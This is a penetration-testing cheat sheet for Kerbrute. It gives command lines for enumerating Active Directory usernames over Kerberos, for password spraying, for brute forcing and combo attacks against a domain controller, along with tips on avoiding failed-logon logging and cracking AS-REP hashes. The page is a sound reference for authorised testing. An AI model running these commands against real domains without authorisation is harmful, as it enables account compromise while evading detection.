---
title: Kerbrute
url: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/kerbrute'
markdown: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/kerbrute.md'
date: '2026-11-22'
description: 'Field Detail Summary Quietly enumerate AD usernames and spray passwords (Kerberos) Category AD user enumeration & spraying Phase enumeration Interface CLI Platform Linux, Windows Licence Open source (Apache 2.0) Docs https://github.com/ropnop/kerbrute Related SMB and Active…'
taxonomy:
  category:
    - cheat-sheets
  tag:
    - pentest
    - cheatsheet
    - ad-user-enumeration-spraying
    - enumeration
---

# Kerbrute

| Field | Detail |
|---|---|
| **Summary** | Quietly enumerate AD usernames and spray passwords (Kerberos) |
| **Category** | AD user enumeration & spraying |
| **Phase** | enumeration |
| **Interface** | CLI |
| **Platform** | Linux, Windows |
| **Licence** | Open source (Apache 2.0) |
| **Docs** | https://github.com/ropnop/kerbrute |
| **Related** | SMB and Active Directory enumeration, LDAP enumeration, NetExec (CrackMapExec), John the Ripper and Hashcat |

Fast enumeration of valid Active Directory usernames and careful password spraying — over **Kerberos pre-authentication** (#udp/88 / #tcp/88) rather than SMB/LDAP. Its key advantage: username enumeration via Kerberos is **not logged as a failed logon** (no 4625), so it's quieter than SMB-based approaches.

> **⚠️ Warning — Spraying still locks accounts**Username *enumeration* doesn't touch passwords, but `passwordspray`/`bruteuser` submit real guesses and **will** lock accounts. Pull the lockout policy first (see NetExec (CrackMapExec) `--pass-pol`), stay under the threshold, and wait out the observation window.

## Username enumeration

Tell valid from invalid users without triggering a logon-failure event:

```bash
kerbrute userenum -d corp.local --dc 10.10.10.5 users.txt
kerbrute userenum -d corp.local --dc 10.10.10.5 users.txt -o valid_users.txt
```

`[+] VALID USERNAME: jdoe@corp.local` lines are confirmed accounts. Build the `users.txt` from OSINT names (OSINT and recon), common formats (`first.last`, `flast`, `f.last`), and SecLists AD name lists.

> **💡 Tip — As a bonus, `userenum` flags AS-REP-roastable users**When it hits an account with pre-auth disabled it prints the `$krb5asrep$` hash right there — crack it with John the Ripper and Hashcat mode 18200, no password guessing needed.

## Password spraying

One password across many users (the safe direction):

```bash
kerbrute passwordspray -d corp.local --dc 10.10.10.5 valid_users.txt 'Autumn2026!'
kerbrute passwordspray -d corp.local --dc 10.10.10.5 users.txt 'Welcome1' --delay 100
```

Use seasonal/`Company+year` style guesses informed by the password policy. **One attempt per user per window**, then pause.

## Single-user brute (rarely — locks fast)

```bash
kerbrute bruteuser -d corp.local --dc 10.10.10.5 passwords.txt jdoe
```

## Credential check & other modes

```bash
kerbrute passwordspray --user-as-pass users.txt -d corp.local --dc 10.10.10.5   # user==pass
```

Global flags: `-d` domain, `--dc` domain controller IP, `-o` output file, `-v` verbose, `--delay <ms>`, `-t` threads, `--safe` (abort on first lockout observed).

## Why Kerberos enumeration beats SMB

|  | Kerbrute (Kerberos) | SMB/LDAP guessing |
|---|---|---|
| Logs failed logons (4625) | No (pre-auth) | Yes |
| Distinguishes valid users | Yes (fast) | Varies |
| Finds AS-REP-roastable | Yes, incidentally | Separate step |
| Speed | Very fast (UDP) | Slower |

## More options

| Flag / mode | Purpose |
|---|---|
| `bruteforce combos.txt` | Try `user:password` pairs from a file (or stdin) |
| `-d <domain>` `--dc <ip>` | Realm + domain controller (required) |
| `-t N` / `--delay <ms>` | Threads / delay between attempts |
| `--safe` | Abort the whole run on the first lockout observed |
| `-o out.txt` / `-v` | Output file / verbose |
| `--downgrade` | Request a weaker etype (older DCs) |

```bash
kerbrute bruteforce -d corp.local --dc 10.10.10.5 combos.txt --safe -o hits.txt
kerbrute passwordspray -d corp.local --dc 10.10.10.5 users.txt 'Autumn2026!' --delay 200
```

AS-REP hashes printed during `userenum` → crack with Hashcat **-m 18200**.

## Kill-chain usage

### Enumeration

```bash
kerbrute userenum -d corp.local --dc DC users.txt   # validate AD usernames
```

## Where it fits

Early AD enumeration, often before you even have a credential: turn a list of likely names into **confirmed usernames** quietly, pick up AS-REP hashes for free, then spray carefully to land a first credential — which unlocks LDAP enumeration, SMB and Active Directory enumeration and the rest of the AD chain.

---

## Navigation

- Parent: [Pentest Tools — Map of Content](https://www.rawrso.me/ethical-hacking/cheat-sheets.md)
- Previous: [jwt_tool](https://www.rawrso.me/ethical-hacking/cheat-sheets/jwt-tool.md)
- Next: [Kubernetes — kube-hunter, kube-bench, kubectl](https://www.rawrso.me/ethical-hacking/cheat-sheets/kubernetes-kube-hunter-and-kube-bench.md)
